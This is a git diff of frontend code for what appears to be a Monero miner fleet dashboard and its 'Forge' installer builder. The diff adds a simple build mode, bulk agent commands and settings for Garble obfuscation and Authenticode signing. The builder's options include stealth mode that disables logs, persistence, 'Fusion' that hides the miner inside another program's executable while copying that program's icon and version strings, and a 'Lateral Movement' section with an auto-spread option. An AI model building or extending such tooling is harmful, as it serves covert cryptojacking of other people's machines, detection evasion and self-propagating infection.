<p className="form-hint" style={{ margin: 0 }}>
|
||||||
<strong>🖥 Server folder only</strong>
|
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||||
</div>
|
</p>
|
||||||
<div className="forge-rule-card">
|
<div className="forge-rules-grid">
|
||||||
<strong>🔒 Auto-coupled</strong>
|
<div className="forge-rule-card">
|
||||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
<strong>⛏ Baked into installer</strong>
|
||||||
</div>
|
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||||
<div className="forge-rule-card">
|
</div>
|
||||||
<strong>✕ Cannot forge until fixed</strong>
|
<div className="forge-rule-card">
|
||||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
<strong>🖥 Server folder only</strong>
|
||||||
|
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||||
|
</div>
|
||||||
|
<div className="forge-rule-card">
|
||||||
|
<strong>🔒 Auto-coupled</strong>
|
||||||
|
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||||
|
</div>
|
||||||
|
<div className="forge-rule-card">
|
||||||
|
<strong>✕ Cannot forge until fixed</strong>
|
||||||
|
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
)}
|
||||||
|
|
||||||
{liveNotices.length > 0 && (
|
{liveNotices.length > 0 && (
|
||||||
<div className="forge-live-notices">
|
<div className="forge-live-notices">
|
||||||
@@ -402,10 +525,11 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
<h2>Build Miner Installer</h2>
|
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||||||
<p className="form-description">
|
<p className="form-description">
|
||||||
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
|
{simpleMode
|
||||||
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.
|
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
|
||||||
|
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<form onSubmit={handleSubmit}>
|
<form onSubmit={handleSubmit}>
|
||||||
@@ -428,6 +552,7 @@ export default function BuilderPage() {
|
|||||||
onChange={(e) => updateField('worker_name', e.target.value)}
|
onChange={(e) => updateField('worker_name', e.target.value)}
|
||||||
required
|
required
|
||||||
/>
|
/>
|
||||||
|
<FieldHint field="worker_name" />
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group endpoint-group">
|
<div className="form-group endpoint-group">
|
||||||
<div className="endpoint-header">
|
<div className="endpoint-header">
|
||||||
@@ -483,8 +608,10 @@ export default function BuilderPage() {
|
|||||||
onChange={(e) => updateField('wallet', e.target.value)}
|
onChange={(e) => updateField('wallet', e.target.value)}
|
||||||
required
|
required
|
||||||
/>
|
/>
|
||||||
|
<FieldHint field="wallet" />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{!simpleMode && (
|
||||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||||
<div className="label-row">
|
<div className="label-row">
|
||||||
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
|
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
|
||||||
@@ -503,8 +630,11 @@ export default function BuilderPage() {
|
|||||||
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
|
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{!simpleMode && (
|
||||||
|
<>
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<ForgeSectionHeader
|
<ForgeSectionHeader
|
||||||
title="Pool Configuration"
|
title="Pool Configuration"
|
||||||
@@ -823,12 +953,16 @@ export default function BuilderPage() {
|
|||||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<ForgeSectionHeader
|
<ForgeSectionHeader
|
||||||
title="Fusion (prep + worker)"
|
title="Fusion (prep + worker)"
|
||||||
badge="baked"
|
badge="baked"
|
||||||
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
|
description={simpleMode
|
||||||
|
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
|
||||||
|
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
|
||||||
/>
|
/>
|
||||||
<div className="form-group checkbox-group">
|
<div className="form-group checkbox-group">
|
||||||
<label className="checkbox-label">
|
<label className="checkbox-label">
|
||||||
@@ -849,12 +983,19 @@ export default function BuilderPage() {
|
|||||||
type="file"
|
type="file"
|
||||||
className="input"
|
className="input"
|
||||||
accept=".exe,application/octet-stream"
|
accept=".exe,application/octet-stream"
|
||||||
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
|
onChange={(e) => {
|
||||||
|
const f = e.target.files?.[0] || null;
|
||||||
|
setFusionPrepFile(f);
|
||||||
|
if (f?.name) {
|
||||||
|
updateField('fusion_output_name', f.name);
|
||||||
|
}
|
||||||
|
}}
|
||||||
/>
|
/>
|
||||||
{fusionPrepFile && (
|
{fusionPrepFile && (
|
||||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
{!simpleMode && (
|
||||||
<div className="form-row">
|
<div className="form-row">
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||||
@@ -873,13 +1014,80 @@ export default function BuilderPage() {
|
|||||||
<FieldHint field="fusion_output_name" />
|
<FieldHint field="fusion_output_name" />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
)}
|
||||||
|
{simpleMode && fusionPrepFile && (
|
||||||
|
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
|
||||||
|
)}
|
||||||
<p className="form-hint">
|
<p className="form-hint">
|
||||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||||
</p>
|
</p>
|
||||||
|
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||||
|
<div className="fusion-estimate-panel card">
|
||||||
|
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||||||
|
{estimateLoading && <p className="form-hint">Calculating…</p>}
|
||||||
|
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
|
||||||
|
{fusionEstimate && (
|
||||||
|
<>
|
||||||
|
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
|
||||||
|
<li className="preflight-item preflight-ok">
|
||||||
|
<span className="preflight-icon">✓</span>
|
||||||
|
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
|
||||||
|
</li>
|
||||||
|
<li className="preflight-item preflight-ok">
|
||||||
|
<span className="preflight-icon">+</span>
|
||||||
|
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
|
||||||
|
</li>
|
||||||
|
<li className="preflight-item preflight-ok">
|
||||||
|
<span className="preflight-icon">+</span>
|
||||||
|
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
|
||||||
|
</li>
|
||||||
|
<li className="preflight-item preflight-warn">
|
||||||
|
<span className="preflight-icon">≈</span>
|
||||||
|
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
|
||||||
|
{fusionEstimate.export_path && (
|
||||||
|
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
|
||||||
|
)}
|
||||||
|
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
|
||||||
|
{fusionEstimate.notes?.map((note) => (
|
||||||
|
<p key={note} className="form-hint">{note}</p>
|
||||||
|
))}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{!simpleMode && (
|
||||||
|
<>
|
||||||
|
<div className="form-section">
|
||||||
|
<ForgeSectionHeader
|
||||||
|
title="Build pipeline"
|
||||||
|
badge="server-only"
|
||||||
|
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||||||
|
/>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||||||
|
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||||||
|
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="obfuscate" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
|
||||||
|
onChange={(e) => updateField('sign_build', e.target.checked)} />
|
||||||
|
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="sign_build" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div className="form-section">
|
<div className="form-section">
|
||||||
<ForgeSectionHeader
|
<ForgeSectionHeader
|
||||||
title="Autonomy, Mesh & Lateral Movement"
|
title="Autonomy, Mesh & Lateral Movement"
|
||||||
@@ -946,6 +1154,8 @@ export default function BuilderPage() {
|
|||||||
<FieldHint field="auto_spread" />
|
<FieldHint field="auto_spread" />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
|
||||||
<div className="preflight-panel card">
|
<div className="preflight-panel card">
|
||||||
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
|
||||||
@@ -990,7 +1200,13 @@ export default function BuilderPage() {
|
|||||||
<>
|
<>
|
||||||
<p><strong>Your file (project root):</strong></p>
|
<p><strong>Your file (project root):</strong></p>
|
||||||
<code className="path-display">{lastBuild.export_path}</code>
|
<code className="path-display">{lastBuild.export_path}</code>
|
||||||
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
|
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||||
|
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||||
|
<p className="form-hint">
|
||||||
|
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||||
|
{lastBuild.signed && 'Authenticode signature applied.'}
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||||
|
|||||||
@@ -9,9 +9,17 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
|||||||
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
|
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
|
||||||
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
|
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
|
||||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||||
|
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||||
|
import {
|
||||||
|
DEFAULT_FLEET_FILTERS,
|
||||||
|
filterFleetAgents,
|
||||||
|
agentIsIdleMiner,
|
||||||
|
formatHashrate,
|
||||||
|
formatUptime,
|
||||||
|
} from '../help/fleetFilters';
|
||||||
|
import type { FleetFilterState } from '../help/fleetFilters';
|
||||||
import '../components/Fleet/AgentRemoteActions.css';
|
import '../components/Fleet/AgentRemoteActions.css';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
export default function DashboardPage() {
|
export default function DashboardPage() {
|
||||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||||
const [shares, setShares] = useState<Share[]>([]);
|
const [shares, setShares] = useState<Share[]>([]);
|
||||||
@@ -23,7 +31,9 @@ export default function DashboardPage() {
|
|||||||
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
|
||||||
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
|
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
|
||||||
const [hasBuilds, setHasBuilds] = useState(false);
|
const [hasBuilds, setHasBuilds] = useState(false);
|
||||||
|
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||||
|
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||||
|
const [bulkBusy, setBulkBusy] = useState(false);
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
api.getRecentShares(20).then(setShares).catch(console.error);
|
api.getRecentShares(20).then(setShares).catch(console.error);
|
||||||
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
|
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
|
||||||
@@ -70,11 +80,12 @@ export default function DashboardPage() {
|
|||||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||||
}, [totalHashrate, avgCpu, avgMem]);
|
}, [totalHashrate, avgCpu, avgMem]);
|
||||||
|
|
||||||
const topAgents = useMemo(
|
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||||
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 8),
|
|
||||||
[agents]
|
|
||||||
);
|
|
||||||
|
|
||||||
|
const topAgents = useMemo(
|
||||||
|
() => [...filteredAgents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 12),
|
||||||
|
[filteredAgents]
|
||||||
|
);
|
||||||
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
|
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
|
||||||
|
|
||||||
const activityItems = useMemo(
|
const activityItems = useMemo(
|
||||||
@@ -97,8 +108,28 @@ export default function DashboardPage() {
|
|||||||
[agents]
|
[agents]
|
||||||
);
|
);
|
||||||
|
|
||||||
return (
|
const handleBulkAction = async (action: string) => {
|
||||||
<div className="page fade-in command-deck">
|
let targetIds = [...selectedIds];
|
||||||
|
if (action === 'restart_idle') {
|
||||||
|
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||||
|
if (targetIds.length === 0) {
|
||||||
|
alert('No selected online agents with idle hashrate.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
action = 'restart';
|
||||||
|
}
|
||||||
|
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||||
|
if (onlineIds.length === 0) return;
|
||||||
|
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
|
||||||
|
setBulkBusy(true);
|
||||||
|
try {
|
||||||
|
await api.sendBulkCommand(onlineIds, action);
|
||||||
|
} finally {
|
||||||
|
setBulkBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return ( <div className="page fade-in command-deck">
|
||||||
<AlertBanner alerts={alerts} />
|
<AlertBanner alerts={alerts} />
|
||||||
<header className="deck-hero">
|
<header className="deck-hero">
|
||||||
<div className="deck-hero-text">
|
<div className="deck-hero-text">
|
||||||
@@ -213,8 +244,17 @@ export default function DashboardPage() {
|
|||||||
<span className="section-ornament">◆</span> Machine Roster
|
<span className="section-ornament">◆</span> Machine Roster
|
||||||
<span className="section-line" />
|
<span className="section-line" />
|
||||||
</h2>
|
</h2>
|
||||||
<div className="agent-grid">
|
{agents.length > 0 && (
|
||||||
{agents.length === 0 && (
|
<FleetToolbar
|
||||||
|
agents={agents}
|
||||||
|
filters={filters}
|
||||||
|
onChange={setFilters}
|
||||||
|
selectedCount={selectedIds.size}
|
||||||
|
onBulkAction={handleBulkAction}
|
||||||
|
bulkBusy={bulkBusy}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
<div className="agent-grid"> {agents.length === 0 && (
|
||||||
<NeonCard accent="brass" className="empty-state">
|
<NeonCard accent="brass" className="empty-state">
|
||||||
<div className="empty-icon">⚙</div>
|
<div className="empty-icon">⚙</div>
|
||||||
<h3>No miners on the wire</h3>
|
<h3>No miners on the wire</h3>
|
||||||
@@ -230,12 +270,31 @@ export default function DashboardPage() {
|
|||||||
>
|
>
|
||||||
<div className="agent-card-header">
|
<div className="agent-card-header">
|
||||||
<div className="agent-name">
|
<div className="agent-name">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={selectedIds.has(agent.id)}
|
||||||
|
onChange={(e) => {
|
||||||
|
setSelectedIds((prev) => {
|
||||||
|
const next = new Set(prev);
|
||||||
|
if (e.target.checked) next.add(agent.id);
|
||||||
|
else next.delete(agent.id);
|
||||||
|
return next;
|
||||||
|
});
|
||||||
|
}}
|
||||||
|
/>
|
||||||
<span className={`status-dot ${agent.status}`} />
|
<span className={`status-dot ${agent.status}`} />
|
||||||
<span>{agent.name}</span>
|
<span>{agent.name}</span>
|
||||||
</div>
|
</div>
|
||||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="agent-hash-bar">
|
{(agent.tags?.length ?? 0) > 0 && (
|
||||||
|
<div style={{ marginBottom: '0.35rem' }}>
|
||||||
|
{agent.tags!.map((t) => (
|
||||||
|
<span key={t} className="agent-tag-chip">{t}</span>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)} <div className="agent-hash-bar">
|
||||||
<div
|
<div
|
||||||
className="agent-hash-fill"
|
className="agent-hash-fill"
|
||||||
style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }}
|
style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }}
|
||||||
@@ -250,12 +309,16 @@ export default function DashboardPage() {
|
|||||||
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
|
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
|
||||||
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
|
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
|
||||||
</div>
|
</div>
|
||||||
<AgentRemoteActions agent={agent} compact />
|
<AgentRemoteActions agent={agent} compact online={agent.status === 'online'} />
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
))}
|
))}
|
||||||
|
{agents.length > 0 && topAgents.length === 0 && (
|
||||||
|
<NeonCard accent="brass" className="empty-state">
|
||||||
|
<p>No agents match current filters.</p>
|
||||||
|
</NeonCard>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<section className="section">
|
<section className="section">
|
||||||
<h2 className="section-title font-display">
|
<h2 className="section-title font-display">
|
||||||
<span className="section-ornament">◆</span> Share Log
|
<span className="section-ornament">◆</span> Share Log
|
||||||
@@ -298,21 +361,6 @@ export default function DashboardPage() {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
function formatHashrate(h: number): string {
|
|
||||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
|
||||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
|
||||||
return `${h.toFixed(0)} H/s`;
|
|
||||||
}
|
|
||||||
|
|
||||||
function formatUptime(seconds: number): string {
|
|
||||||
const d = Math.floor(seconds / 86400);
|
|
||||||
const h = Math.floor((seconds % 86400) / 3600);
|
|
||||||
const m = Math.floor((seconds % 3600) / 60);
|
|
||||||
if (d > 0) return `${d}d ${h}h`;
|
|
||||||
if (h > 0) return `${h}h ${m}m`;
|
|
||||||
return `${m}m`;
|
|
||||||
}
|
|
||||||
|
|
||||||
function formatTime(t: string): string {
|
function formatTime(t: string): string {
|
||||||
return new Date(t).toLocaleTimeString();
|
return new Date(t).toLocaleTimeString();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1221,3 +1221,20 @@
|
|||||||
border-radius: 6px;
|
border-radius: 6px;
|
||||||
background: rgba(248, 113, 113, 0.08);
|
background: rgba(248, 113, 113, 0.08);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.forge-mode-toggle {
|
||||||
|
display: inline-flex;
|
||||||
|
gap: 4px;
|
||||||
|
margin-right: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-simple-banner {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
padding: 1rem 1.25rem;
|
||||||
|
border: 1px solid rgba(212, 175, 55, 0.35);
|
||||||
|
background: rgba(212, 175, 55, 0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-simple-banner .font-tech {
|
||||||
|
margin-bottom: 0.35rem;
|
||||||
|
}
|
||||||
|
|||||||
@@ -176,6 +176,11 @@ export default function SettingsPage() {
|
|||||||
strict_wallet_validation: false,
|
strict_wallet_validation: false,
|
||||||
dashboard_subtitle: '',
|
dashboard_subtitle: '',
|
||||||
open_firewall_on_start: true,
|
open_firewall_on_start: true,
|
||||||
|
obfuscate_default: false,
|
||||||
|
sign_enabled: false,
|
||||||
|
sign_cert_thumbprint: '',
|
||||||
|
sign_tool_path: '',
|
||||||
|
sign_timestamp_url: 'http://timestamp.digicert.com',
|
||||||
};
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
@@ -210,7 +215,27 @@ export default function SettingsPage() {
|
|||||||
{serverInfo.local_ips?.length > 0 && (
|
{serverInfo.local_ips?.length > 0 && (
|
||||||
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
|
||||||
)}
|
)}
|
||||||
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p>
|
<p className="form-hint">Workers need this LAN address — not localhost. Click below to apply best defaults, then Save Calibration.</p>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-primary btn-sm"
|
||||||
|
style={{ marginTop: '0.75rem' }}
|
||||||
|
onClick={() => {
|
||||||
|
if (!config) return;
|
||||||
|
updateField('server.public_url', serverInfo.suggested_url);
|
||||||
|
updateField('server.open_firewall_on_start', true);
|
||||||
|
updateField('server.obfuscate_default', false);
|
||||||
|
updateField('server.sign_enabled', false);
|
||||||
|
if (!config.wallet.address?.trim()) {
|
||||||
|
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
|
||||||
|
} else {
|
||||||
|
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Use best defaults
|
||||||
|
</button>
|
||||||
|
<FieldHint field="calibrate_quick_setup" />
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
@@ -233,9 +258,18 @@ export default function SettingsPage() {
|
|||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
|
||||||
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||||
value={s.public_url}
|
<input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
|
||||||
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
|
||||||
|
value={s.public_url}
|
||||||
|
onChange={(e) => updateField('server.public_url', e.target.value)} />
|
||||||
|
{serverInfo?.suggested_url && (
|
||||||
|
<button type="button" className="btn btn-outline btn-sm"
|
||||||
|
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
|
||||||
|
Use detected LAN
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
<FieldHint field="public_url" />
|
<FieldHint field="public_url" />
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
@@ -291,9 +325,11 @@ export default function SettingsPage() {
|
|||||||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">XMR Address <HelpTip field="wallet" /></label>
|
<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
|
||||||
<input type="text" className="input mono" value={config.wallet.address}
|
<input type="text" className="input mono" placeholder="4… (95 chars)"
|
||||||
|
value={config.wallet.address}
|
||||||
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
||||||
|
<FieldHint field="calibrate_wallet" />
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
<label className="label">Payment ID (optional)</label>
|
<label className="label">Payment ID (optional)</label>
|
||||||
@@ -395,6 +431,47 @@ export default function SettingsPage() {
|
|||||||
)}
|
)}
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
|
<NeonCard accent="brass" className="settings-section">
|
||||||
|
<h2 className="font-display">Forge Pipeline</h2>
|
||||||
|
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
|
||||||
|
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
|
||||||
|
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="obfuscate_default" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group checkbox-group">
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
|
||||||
|
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
|
||||||
|
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
|
||||||
|
</label>
|
||||||
|
<FieldHint field="sign_enabled" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
|
||||||
|
<input type="text" className="input mono" placeholder="AB CD EF ..."
|
||||||
|
value={s.sign_cert_thumbprint || ''}
|
||||||
|
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
|
||||||
|
<FieldHint field="sign_cert_thumbprint" />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
|
||||||
|
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
|
||||||
|
value={s.sign_tool_path || ''}
|
||||||
|
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
|
||||||
|
</div>
|
||||||
|
<div className="form-group">
|
||||||
|
